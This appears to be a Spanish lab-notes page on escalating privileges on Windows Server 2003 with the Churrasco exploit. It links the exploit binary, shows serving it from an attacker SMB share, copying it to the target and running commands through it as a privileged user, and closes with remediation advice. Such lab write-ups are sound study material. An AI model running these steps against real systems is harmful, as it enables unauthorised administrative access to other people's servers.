# Windows Server 2003 - Churrasco

Windows Server 2003 está obsoleto y expone muchas debilidades históricas. Esta nota muestra el uso de Churrasco en un laboratorio cuando hay presente un contexto de privilegios compatible.

## Detección

```powershell
systeminfo
```

Compruebe los privilegios disponibles:

## Herramienta

{% embed url="<https://github.com/Re4son/Churrasco/raw/master/churrasco.exe>" %}

## Transferencia por SMB

```bash
smbserver.py share $(pwd) -smb2support
```

```powershell
copy \\10.10.14.30\share\churrasco.exe churrasco.exe
```

Pruebe la ejecución:

```powershell
./churrasco.exe "whoami"
```

## Validación de comando privilegiado

Sirva una pequeña utilidad de validación solo si el laboratorio lo requiere:

```bash
smbserver.py share $(pwd) -smb2support
```

Ejecute el comando a través de Churrasco:

```powershell
.\churrasco.exe "cmd /c whoami /all > C:\WINDOWS\Temp\churrasco-check.txt"
type C:\WINDOWS\Temp\churrasco-check.txt
```

## Puntos clave

* Windows Server 2003 debe considerarse inmantenible en producción.
* Confirme la arquitectura y los privilegios antes de probar el exploit.
* Remedie retirando el sistema o aplicando un aislamiento estricto hasta completar la migración.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/windows-vulnerabilities/kernel-exploitation/windows-server-2003-kernel-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
